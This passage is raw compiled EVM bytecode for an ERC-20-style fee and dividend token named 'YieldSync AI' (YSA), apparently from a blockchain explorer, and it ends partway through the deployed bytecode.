0209081526040808320805460ff1990811660019081179092553380865283862080548316841781557fd0caff8bb97d4c35505c5c46254e61975fb32ef448968e3794a9d2a8adfbb07c8054841685179055805483168417905596549097168452600683528184208054881682179055858452818420805488168217905593835280832080548716851790557f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e2280548716851790557f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f88054909616841790955591548382526005835284822081905593519384529394509092917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620005d4565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620004a057815f19048211156200048457620004846200044c565b808516156200049257918102915b93841c939080029062000465565b509250929050565b5f82620004b85750600162000555565b81620004c657505f62000555565b8160018114620004df5760028114620004ea576200050a565b600191505062000555565b60ff841115620004fe57620004fe6200044c565b50506001821b62000555565b5060208310610133831016604e8410600b84101617156200052f575081810a62000555565b6200053b838362000460565b805f19048211156200055157620005516200044c565b0290505b92915050565b5f6200056b60ff841683620004a8565b9392505050565b80820281158282048414176200055557620005556200044c565b5f82620005a757634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620005bd575f80fd5b81516001600160a01b03811681146200056b575f80fd5b612b0380620005e25f395ff3fe60806040526004361061024c575f3560e01c80637956c10511610134578063b2068143116100b3578063dd62ed3e11610078578063dd62ed3e14610733578063e10defd114610777578063e87655cf1461035d578063efca2eed1461078b578063f2fde38b146107a0578063ffd49c84146107bf575f80fd5b8063b206814314610662578063b56f742c14610681578063be3bd137146106a0578063ce7c2ac2146106bf578063db09207614610714575f80fd5b806395d89b41116100f957806395d89b41146105c5578063997664d7146105f0578063a8aa1b3114610605578063a9059cbb14610624578063af1767ee14610643575f80fd5b80637956c1051461052b578063893d20e8146105625780638cd4426d1461057e5780638fffec081461059d5780639358928b146105b1575f80fd5b8063382afa79116101cb578063510a121c11610190578063510a121c1461048257806360e71962146104a157806362256589146104b657806370a08231146104ca578063715018a6146104e957806377369b80146104fd575f80fd5b8063382afa79146103e45780633a98ef39146104035780633f4218e014610418578063420bbf20146104465780634fab0ae81461046d575f80fd5b806323b872dd1161021157806323b872dd1461032a578063293230b8146103495780632b0290e01461035d5780632f54bf6e1461039c578063313ce567146103c9575f80fd5b806306fdde0314610257578063095ea7b31461029d578063129ee21a146102cc5780631605952a146102ed57806318160ddd1461030c575f80fd5b3661025357005b5f80fd5b348015610262575f80fd5b5060408051808201909152600c81526b5969656c6453796e6320414960a01b60208201525b60405161029491906126a1565b60405180910390f35b3480156102a8575f80fd5b506102bc6102b7366004612704565b6107d4565b6040519015158152602001610294565b3480156102d7575f80fd5b506102eb6102e636600461272e565b6107ea565b005b3480156102f8575f80fd5b506102eb610307366004612764565b610942565b348015610317575f80fd5b506001545b604051908152602001610294565b348015610335575f80fd5b506102bc61034436600461279b565b6109b7565b348015610354575f80fd5b506102eb610a1f565b348015610368575f80fd5b506103847328de1b1d01bf755f03d35ed25e1df6bfac73ce9481565b6040516001600160a01b039091168152602001610294565b3480156103a7575f80fd5b506102bc6103b63660046127d9565b5f546001600160a01b0391821691161490565b3480156103d4575f80fd5b5060405160098152602001610294565b3480156103ef575f80fd5b506102eb6103fe36600461272e565b610a5d565b34801561040e575f80fd5b5061031c60195481565b348015610423575f80fd5b506102bc6104323660046127d9565b60076020525f908152604090205460ff1681565b348015610451575f80fd5b5061038473e2e8a5e7c717cc7da7d3d9b2be8aaa953650bd0c81565b348015610478575f80fd5b5061031c60245481565b34801561048d575f80fd5b506102eb61049c3660046127f4565b610a94565b3480156104ac575f80fd5b5061031c60255481565b3480156104c1575f80fd5b506102eb610b99565b3480156104d5575f80fd5b5061031c6104e43660046127d9565b610bd4565b3480156104f4575f80fd5b506102eb610bee565b348015610508575f80fd5b506102bc6105173660046127d9565b60066020525f908152604090205460ff1681565b348015610536575f80fd5b5061031c6105453660046127d9565b6001600160a01b03165f9081526021602052604090206002015490565b34801561056d575f80fd5b505f546001600160a01b0316610384565b348015610589575f80fd5b506102eb610598366004612704565b610c5b565b3480156105a8575f80fd5b506102eb610cf7565b3480156105bc575f80fd5b5061031c610d02565b3480156105d0575f80fd5b5060408051808201909152600381526259534160e81b6020820152610287565b3480156105fb575f80fd5b5061031c601a5481565b348015610610575f80fd5b50600a54610384906001600160a01b031681565b34801561062f575f80fd5b506102bc61063e366004612704565b610d31565b34801561064e575f80fd5b50601854610384906001600160a01b031681565b34801561066d575f80fd5b506102eb61067c366004612844565b610d3d565b34801561068c575f80fd5b506102eb61069b36600461285b565b610dc3565b3480156106ab575f80fd5b506102eb6106ba366004612764565b61103b565b3480156106ca575f80fd5b506106f96106d93660046127d9565b60216020525f908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610294565b34801561071f575f80fd5b5061031c61072e3660046127d9565b61108e565b34801561073e575f80fd5b5061031c61074d36600461287f565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b348015610782575f80fd5b506102eb611114565b348015610796575f80fd5b5061031c601b5481565b3480156107ab575f80fd5b506102eb6107ba3660046127d9565b611167565b3480156107ca575f80fd5b5061031c60235481565b5f6107e03384846111e3565b5060015b92915050565b5f546001600160a01b0316331461081c5760405162461bcd60e51b8152600401610813906128ab565b60405180910390fd5b5f6127108461082a60015490565b61083491906128df565b61083e91906128f6565b90505f6127108461084e60015490565b61085891906128df565b61086291906128f6565b90505f6127108461087260015490565b61087c91906128df565b61088691906128f6565b60028490556003839055600481905590505f6108b86103e86108b260056108ac60015490565b90611306565b90611311565b90508084101580156108ca5750808310155b80156108d65750808210155b6109395760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610813565b50505050505050565b5f546001600160a01b0316331461096b5760405162461bcd60e51b8152600401610813906128ab565b6001600160a01b0382165f908152600660205260409020805460ff191682158015919091179091556109a5576109a1825f61131c565b5050565b6109a1826109b284610bd4565b61131c565b5f6109c384848461144f565b610a148433610a0f85604051806060016040528060288152602001612aa6602891396001600160a01b038a165f90815260086020908152604080832033845290915290205491906115ee565b6111e3565b5060015b9392505050565b5f546001600160a01b03163314610a485760405162461bcd60e51b8152600401610813906128ab565b600a805460ff60a01b1916600160a01b179055565b5f546001600160a01b03163314610a865760405162461bcd60e51b8152600401610813906128ab565b602392909255602455602555565b5f546001600160a01b03163314610abd5760405162461bcd60e51b8152600401610813906128ab565b600b889055600c879055600f869055600d859055600e849055601083905560118290556012819055601354610af3906005611311565b60105411158015610b135750601354610b0d906005611311565b60115411155b8015610b2e5750601354610b28906005611311565b60125411155b610b8f5760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b6064820152608401610813565b5050505050505050565b5f546001600160a01b03163314610bc25760405162461bcd60e51b8152600401610813906128ab565b60015460028190556003819055600455565b6001600160a01b03165f9081526005602052604090205490565b5f546001600160a01b03163314610c175760405162461bcd60e51b8152600401610813906128ab565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b03163314610c845760405162461bcd60e51b8152600401610813906128ab565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af1158015610cce573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cf29190612915565b505050565b610d0033611619565b565b5f610d2c610d0f5f610bd4565b610d26610d1d61dead610bd4565b6001549061172a565b9061172a565b905090565b5f6107e033848461144f565b60185460405163a9059cbb60e01b81527328de1b1d01bf755f03d35ed25e1df6bfac73ce946004820152602481018390526001600160a01b039091169063a9059cbb906044016020604051808303815f875af1158015610d9f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a19190612915565b601e54335f829003610dd6575050505050565b5f805a335f908152600560209081526040808320546006909252822054929350909160ff16610ece575b8884108015610e0e57508582105b15610ec9578560225410610e21575f6022555b610e52601e60225481548110610e3957610e39612930565b5f918252602090912001546001600160a01b0316611735565b15610e8857610e88601e60225481548110610e6f57610e6f612930565b5f918252602090912001546001600160a01b0316611619565b610e9d610e965a859061172a565b8590611778565b93505a602280549194505f610eb183612944565b91905055508180610ec190612944565b925050610e00565b611030565b5f610ed88661108e565b6001600160a01b038a165f90815260056020526040902054909150610efd908961172a565b6001600160a01b038a165f90815260056020526040902055610f1f888361295c565b335f90815260056020526040902055801561102e57601b54610f419082611778565b601b5560185460405163a9059cbb60e01b81526001600160a01b038881166004830152602482018490529091169063a9059cbb906044016020604051808303815f875af1158015610f94573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fb89190612915565b506001600160a01b0386165f908152602080805260408083204290556021909152902060020154610fe99082611778565b6001600160a01b0387165f90815260216020526040902060028101919091555461101290611783565b6001600160a01b0387165f908152602160205260409020600101555b505b505050505050505050565b5f546001600160a01b031633146110645760405162461bcd60e51b8152600401610813906128ab565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b6001600160a01b0381165f9081526021602052604081205481036110b357505f919050565b6001600160a01b0382165f908152602160205260408120546110d490611783565b6001600160a01b0384165f9081526021602052604090206001015490915080821161110257505f9392505050565b61110c828261172a565b949350505050565b5f546001600160a01b0316331461113d5760405162461bcd60e51b8152600401610813906128ab565b5f600b8190556096600c819055600f829055600d556064600e556101906010819055601155601255565b5f546001600160a01b031633146111905760405162461bcd60e51b8152600401610813906128ab565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166112455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610813565b6001600160a01b0382166112a65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610813565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610a1882846128df565b5f610a1882846128f6565b5f8111801561134057506001600160a01b0382165f90815260216020526040902054155b156113a557601e80546001600160a01b0384165f818152601f60205260408120839055600183018455929092527f50bb669a95c7b50b7e8a6f09454034b2b14cf2b85c730dca9a539ca82cb6e3500180546001600160a01b03191690911790556113d7565b801580156113c957506001600160a01b0382165f9081526021602052604090205415155b156113d7576113d78261179f565b6001600160a01b0382165f908152602160205260409020546019546114079183916114019161172a565b90611778565b6019556001600160a01b0382165f90815260216020526040902081905561142d81611783565b6001600160a01b039092165f9081526021602052604090206001019190915550565b61145a8383836118af565b6114648383611a48565b61146f838383611ad7565b6114798383611bc0565b611484838383611c15565b61148e8383611d3e565b6001600160a01b0383165f908152600560205260409020546114b0908261172a565b6001600160a01b0384165f908152600560205260408120919091556114d58484611d60565b6114df57816114ea565b6114ea848484611da4565b6001600160a01b0384165f9081526005602052604090205490915061150f9082611778565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115629085815260200190565b60405180910390a36001600160a01b0384165f9081526006602052604090205460ff1661159657611596846109b286610bd4565b6001600160a01b0383165f9081526006602052604090205460ff166115c2576115c2836109b285610bd4565b6001600160a01b0383165f90815260216020526040902054156115e8576115e883611619565b50505050565b5f81848411156116115760405162461bcd60e51b815260040161081391906126a1565b505050900390565b6001600160a01b0381165f90815260216020526040812054900361163a5750565b5f6116448261108e565b905080156109a157601b546116599082611778565b601b5560185460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303815f875af11580156116ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116d09190612915565b506001600160a01b0382165f9081526020808052604080832042905560219091529020600201546117019082611778565b6001600160a01b0383165f90815260216020526040902060028101919091555461142d90611783565b5f610a18828461296f565b6023546001600160a01b0382165f9081526020805260408120549091429161175d919061295c565b1080156107e457506024546117718361108e565b1192915050565b5f610a18828461295c565b5f6107e4601d546108b2601c548561130690919063ffffffff16565b601e80546117af9060019061296f565b815481106117bf576117bf612930565b5f9182526020808320909101546001600160a01b038481168452601f909252604090922054601e805492909316929181106117fc576117fc612930565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559183168152601f918290526040812054601e8054919392916118479060019061296f565b8154811061185757611857612930565b5f9182526020808320909101546001600160a01b03168352820192909252604001902055601e80548061188c5761188c612982565b5f8281526020902081015f1990810180546001600160a01b031916905501905550565b6001600160a01b0383166119135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610813565b6001600160a01b0382166119755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610813565b5f81116119d65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610813565b6119df83610bd4565b811115610cf25760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610813565b6001600160a01b0382165f9081526007602052604090205460ff16158015611a8857506001600160a01b0381165f9081526007602052604090205460ff16155b156109a157600a54600160a01b900460ff166109a15760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610813565b6001600160a01b0383165f9081526007602052604090205460ff16158015611b1757506001600160a01b0382165f9081526007602052604090205460ff16155b8015611b315750600a546001600160a01b03838116911614155b8015611b4857506001600160a01b03821661dead14155b15610cf2576004546001600160a01b0383165f90815260056020526040902054611b729083611778565b1115610cf25760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610813565b600a546001600160a01b038281169116148015611bf557506001600160a01b0382165f9081526007602052604090205460ff16155b156109a157600160175f828254611c0c919061295c565b90915550505050565b600a546001600160a01b03848116911614611cb45760035481111580611c5257506001600160a01b0383165f9081526007602052604090205460ff165b80611c7457506001600160a01b0382165f9081526007602052604090205460ff165b611cb45760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610813565b60025481111580611cdc57506001600160a01b0383165f9081526007602052604090205460ff165b80611cfe57506001600160a01b0382165f9081526007602052604090205460ff165b610cf25760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610813565b611d488282611e8e565b156109a157611d58601554611f41565b5f6017555050565b6001600160a01b0382165f9081526007602052604081205460ff16158015610a185750506001600160a01b03165f9081526007602052604090205460ff1615919050565b5f80611db085856120e8565b1115611e87575f611dd2611dc486866120e8565b6013546108ac908690611311565b305f90815260056020526040902054909150611dee9082611778565b305f81815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611e3e9085815260200190565b60405180910390a3600f5415611e7557611e753061dead611e70600f546108ac6013548961131190919063ffffffff16565b61144f565b611e7f838261172a565b915050610a18565b5092915050565b5f80601554611e9c30610bd4565b6018549111159150600160a01b900460ff16158015611ebd575060145460ff165b8015611ed25750600a54600160a01b900460ff165b8015611ef657506001600160a01b0384165f9081526007602052604090205460ff16155b8015611f1a57506001600160a01b0383165f9081526007602052604090205460ff16155b8015611f335750600a546001600160a01b038481169116145b801561110c57509392505050565b6018805460ff60a01b1916600160a01b179055600d54600e54600c54600b545f93611f7d936002936108ac936114019291839182906001611778565b90505f611f99826108b2600b548661130690919063ffffffff16565b90505f611fa6848361172a565b905047611fb282612132565b5f611fbd478361172a565b90505f611fdf611fd8600b548861172a90919063ffffffff16565b8390611311565b90505f611ff7600b548361130690919063ffffffff16565b90508015612009576120098682612282565b600c545f9061201d906108ac856002611306565b90508015612065576040517328de1b1d01bf755f03d35ed25e1df6bfac73ce949082156108fc029083905f818181858888f19350505050158015612063573d5f803e3d5ffd5b505b600d545f90612079906108ac866002611306565b9050801561208a5761208a81612343565b47156120cf5760405173e2e8a5e7c717cc7da7d3d9b2be8aaa953650bd0c904780156108fc02915f818181858888f193505050501580156120cd573d5f803e3d5ffd5b505b50506018805460ff60a01b191690555050505050505050565b600a545f906001600160a01b039081169083160361210957506011546107e4565b600a546001600160a01b039081169084160361212857506010546107e4565b5060125492915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061216557612165612930565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156121bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906121e09190612996565b816001815181106121f3576121f3612930565b6001600160a01b03928316602091820292909201015260095461221991309116846111e3565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac947906122519085905f908690309042906004016129f4565b5f604051808303815f87803b158015612268575f80fd5b505af115801561227a573d5f803e3d5ffd5b505050505050565b60095461229a9030906001600160a01b0316846111e3565b60095460405163f305d71960e01b8152306004820152602481018490525f6044820181905260648201527328de1b1d01bf755f03d35ed25e1df6bfac73ce9460848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015612317573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061233c9190612a2f565b5050505050565b6018546040516370a0823160e01b81523060048201525f916001600160a01b0316906370a0823190602401602060405180830381865afa158015612389573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123ad9190612a5a565b6040805160028082526060820183529293505f9290916020830190803683375050600954604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015612419573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061243d9190612996565b815f8151811061244f5761244f612930565b6001600160a01b03928316602091820292909201015260185482519116908290600190811061248057612480612930565b6001600160a01b03928316602091820292909201015260095460405163b6f9de9560e01b815291169063b6f9de959085906124c5905f90869030904290600401612a71565b5f604051808303818588803b1580156124dc575f80fd5b505af11580156124ee573d5f803e3d5ffd5b5050601854600a546040516370a0823160e01b81526001600160a01b0391821660048201525f9550911692506370a082319150602401602060405180830381865afa15801561253f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906125639190612a5a565b6018546040516370a0823160e01b81523060048201529192505f916001600160a01b03909116906370a0823190602401602060405180830381865afa1580156125ae573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906125d29190612a5a565b90505f6125df828661172a565b90505f6126596125ef8486611778565b6018546040516370a0823160e01b81523060048201526001600160a01b03909116906370a0823190602401602060405180830381865afa158015612635573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d269190612a5a565b90506126716126688383611778565b601a5490611778565b601a55601954601d546126959161268c916108b29086611306565b601c5490611778565b601c5550505050505050565b5f602080835283518060208501525f5b818110156126cd578581018301518582016040015282016126b1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114612701575f80fd5b50565b5f8060408385031215612715575f80fd5b8235612720816126ed565b946020939093013593505050565b5f805f60608486031215612740575f80fd5b505081359360208301359350604090920135919050565b8015158114612701575f80fd5b5f8060408385031215612775575f80fd5b8235612780816126ed565b9150602083013561279081612757565b809150509250929050565b5f805f606084860312156127ad575f80fd5b83356127b8816126ed565b925060208401356127c8816126ed565b929592945050506040919091013590565b5f602082840312156127e9575f80fd5b8135610a18816126ed565b5f805f805f805f80610100898b03121561280c575f80fd5b505086359860208801359850604088013597606081013597506080810135965060a0810135955060c0810135945060e0013592509050565b5f60208284031215612854575f80fd5b5035919050565b5f805f6060848603121561286d575f80fd5b8335925060208401356127c8816126ed565b5f8060408385031215612890575f80fd5b823561289b816126ed565b91506020830135612790816126ed565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176107e4576107e46128cb565b5f8261291057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215612925575f80fd5b8151610a1881612757565b634e487b7160e01b5f52603260045260245ffd5b5f60018201612955576129556128cb565b5060010190565b808201808211156107e4576107e46128cb565b818103818111156107e4576107e46128cb565b634e487b7160e01b5f52603160045260245ffd5b5f602082840312156129a6575f80fd5b8151610a18816126ed565b5f815180845260208085019450602084015f5b838110156129e95781516001600160a01b0316875295820195908201906001016129c4565b509495945050505050565b85815284602082015260a060408201525f612a1260a08301866129b1565b6001600160a01b0394909416606083015250608001529392505050565b5f805f60608486031215612a41575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215612a6a575f80fd5b5051919050565b848152608060208201525f612a8960808301866129b1565b6001600160a01b0394909416604083015250606001529291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203dab56c869c709ff4ab6b534969777b6564cd37049644b1f23a13a37e3d6a44564736f6c63430008180033

Deployed Bytecode

0x60806040526004361061024c575f3560e01c80637956c10511610134578063b2068143116100b3578063dd62ed3e11610078578063dd62ed3e14610733578063e10defd114610777578063e87655cf1461035d578063efca2eed1461078b578063f2fde38b146107a0578063ffd49c84146107bf575f80fd5b8063b206814314610662578063b56f742c14610681578063be3bd137146106a0578063ce7c2ac2146106bf578063db09207614610714575f80fd5b806395d89b41116100f957806395d89b41146105c5578063997664d7146105f0578063a8aa1b3114610605578063a9059cbb14610624578063af1767ee14610643575f80fd5b80637956c1051461052b578063893d20e8146105625780638cd4426d1461057e5780638fffec081461059d5780639358928b146105b1575f80fd5b8063382afa79116101cb578063510a121c11610190578063510a121c1461048257806360e71962146104a157806362256589146104b657806370a08231146104ca578063715018a6146104e957806377369b80146104fd575f80fd5b8063382afa79146103e45780633a98ef39146104035780633f4218e014610418578063420bbf20146104465780634fab0ae81461046d575f80fd5b806323b872dd1161021157806323b872dd1461032a578063293230b8146103495780632b0290e01461035d5780632f54bf6e1461039c578063313ce567146103c9575f80fd5b806306fdde0314610257578063095ea7b31461029d578063129ee21a146102cc5780631605952a146102ed57806318160ddd1461030c575f80fd5b3661025357005b5f80fd5b348015610262575f80fd5b5060408051808201909152600c81526b5969656c6453796e6320414960a01b60208201525b60405161029491906126a1565b60405180910390f35b3480156102a8575f80fd5b506102bc6102b7366004612704565b6107d4565b6040519015158152602001610294565b3480156102d7575f80fd5b506102eb6102e636600461272e565b6107ea565b005b3480156102f8575f80fd5b506102eb610307366004612764565b610942565b348015610317575f80fd5b506001545b604051908152602001610294565b348015610335575f80fd5b506102bc61034436600461279b565b6109b7565b348015610354575f80fd5b506102eb610a1f565b348015610368575f80fd5b506103847328de1b1d01bf755f03d35ed25e1df6bfac73ce9481565b6040516001600160a01b039091168152602001610294565b3480156103a7575f80fd5b506102bc6103b63660046127d9565b5f546001600160a01b0391821691161490565b3480156103d4575f80fd5b5060405160098152602001610294565b3480156103ef575f80fd5b506102eb6103fe36600461272e565b610a5d565b34801561040e575f80fd5b5061031c60195481565b348015610423575f80fd5b506102bc6104323660046127d9565b60076020525f908152604090205460ff1681565b348015610451575f80fd5b5061038473e2e8a5e7c717cc7da7d3d9b2be8aaa953650bd0c81565b348015610478575f80fd5b5061031c60245481565b34801561048d575f80fd5b506102eb61049c3660046127f4565b610a94565b3480156104ac575f80fd5b5061031c60255481565b3480156104c1575f80fd5b506102eb610b99565b3480156104d5575f80fd5b5061031c6104e43660046127d9565b610bd4565b3480156104f4575f80fd5b506102eb610bee565b348015610508575f80fd5b506102bc6105173660046127d9565b60066020525f908152604090205460ff1681565b348015610536575f80fd5b5061031c6105453660046127d9565b6001600160a01b03165f9081526021602052604090206002015490565b34801561056d575f80fd5b505f546001600160a01b0316610384565b348015610589575f80fd5b506102eb610598366004612704565b610c5b565b3480156105a8575f80fd5b506102eb610cf7565b3480156105bc575f80fd5b5061031c610d02565b3480156105d0575f80fd5b5060408051808201909152600381526259534160e81b6020820152610287565b3480156105fb575f80fd5b5061031c601a5481565b348015610610575f80fd5b50600a54610384906001600160a01b031681565b34801561062f575f80fd5b506102bc61063e366004612704565b610d31565b34801561064e575f80fd5b50601854610384906001600160a01b031681565b34801561066d575f80fd5b506102eb61067c366004612844565b610d3d565b34801561068c575f80fd5b506102eb61069b36600461285b565b610dc3565b3480156106ab575f80fd5b506102eb6106ba366004612764565b61103b565b3480156106ca575f80fd5b506106f96106d93660046127d9565b60216020525f908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610294565b34801561071f575f80fd5b5061031c61072e3660046127d9565b61108e565b34801561073e575f80fd5b5061031c61074d36600461287f565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b348015610782575f80fd5b506102eb611114565b348015610796575f80fd5b5061031c601b5481565b3480156107ab575f80fd5b506102eb6107ba3660046127d9565b611167565b3480156107ca575f80fd5b5061031c60235481565b5f6107e03384846111e3565b5060015b92915050565b5f546001600160a01b0316331461081c5760405162461bcd60e51b8152600401610813906128ab565b60405180910390fd5b5f6127108461082a60015490565b61083491906128df565b61083e91906128f6565b90505f6127108461084e60015490565b61085891906128df565b61086291906128f6565b90505f6127108461087260015490565b61087c91906128df565b61088691906128f6565b60028490556003839055600481905590505f6108b86103e86108b260056108ac60015490565b90611306565b90611311565b90508084101580156108ca5750808310155b80156108d65750808210155b6109395760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610813565b50505050505050565b5f546001600160a01b0316331461096b5760405162461bcd60e51b8152600401610813906128ab565b6001600160a01b0382165f908152600660205260409020805460ff191682158015919091179091556109a5576109a1825f61131c565b5050565b6109a1826109b284610bd4565b61131c565b5f6109c384848461144f565b610a148433610a0f85604051806060016040528060288152602001612aa6602891396001600160a01b038a165f90815260086020908152604080832033845290915290205491906115ee565b6111e3565b5060015b9392505050565b5f546001600160a01b03163314610a485760405162461bcd60e51b8152600401610813906128ab565b600a805460ff60a01b1916600160a01b179055565b5f546001600160a01b03163314610a865760405162461bcd60e51b8152600401610813906128ab565b602392909255602455602555565b5f546001600160a01b03163314610abd5760405162461bcd60e51b8152600401610813906128ab565b600b889055600c879055600f869055600d859055600e849055601083905560118290556012819055601354610af3906005611311565b60105411158015610b135750601354610b0d906005611311565b60115411155b8015610b2e5750601354610b28906005611311565b60125411155b610b8f5760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b6064820152608401610813565b5050505050505050565b5f546001600160a01b03163314610bc25760405162461bcd60e51b8152600401610813906128ab565b60015460028190556003819055600455565b6001600160a01b03165f9081526005602052604090205490565b5f546001600160a01b03163314610c175760405162461bcd60e51b8152600401610813906128ab565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b03163314610c845760405162461bcd60e51b8152600401610813906128ab565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af1158015610cce573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cf29190612915565b505050565b610d0033611619565b565b5f610d2c610d0f5f610bd4565b610d26610d1d61dead610bd4565b6001549061172a565b9061172a565b905090565b5f6107e033848461144f565b60185460405163a9059cbb60e01b81527328de1b1d01bf755f03d35ed25e1df6bfac73ce946004820152602481018390526001600160a01b039091169063a9059cbb906044016020604051808303815f875af1158015610d9f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a19190612915565b601e54335f829003610dd6575050505050565b5f805a335f908152600560209081526040808320546006909252822054929350909160ff16610ece575b8884108015610e0e57508582105b15610ec9578560225410610e21575f6022555b610e52601e60225481548110610e3957610e39612930565b5f918252602090912001546001600160a01b0316611735565b15610e8857610e88601e60225481548110610e6f57610e6f612930565b5f918252602090912001546001600160a01b0316611619565b610e9d610e965a859061172a565b8590611778565b93505a602280549194505f610eb183612944565b91905055508180610ec190612944565b925050610e00565b611030565b5f610ed88661108e565b6001600160a01b038a165f90815260056020526040902054909150610efd908961172a565b6001600160a01b038a165f90815260056020526040902055610f1f888361295c565b335f90815260056020526040902055801561102e57601b54610f419082611778565b601b5560185460405163a9059cbb60e01b81526001600160a01b038881166004830152602482018490529091169063a9059cbb906044016020604051808303815f875af1158015610f94573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fb89190612915565b506001600160a01b0386165f908152602080805260408083204290556021909152902060020154610fe99082611778565b6001600160a01b0387165f90815260216020526040902060028101919091555461101290611783565b6001600160a01b0387165f908152602160205260409020600101555b505b505050505050505050565b5f546001600160a01b031633146110645760405162461bcd60e51b8152600401610813906128ab565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b6001600160a01b0381165f9081526021602052604081205481036110b357505f919050565b6001600160a01b0382165f908152602160205260408120546110d490611783565b6001600160a01b0384165f9081526021602052604090206001015490915080821161110257505f9392505050565b61110c828261172a565b949350505050565b5f546001600160a01b0316331461113d5760405162461bcd60e51b8152600401610813906128ab565b5f600b8190556096600c819055600f829055600d556064600e556101906010819055601155601255565b5f546001600160a01b031633146111905760405162461bcd60e51b8152600401610813906128ab565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166112455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610813565b6001600160a01b0382166112a65760405162461b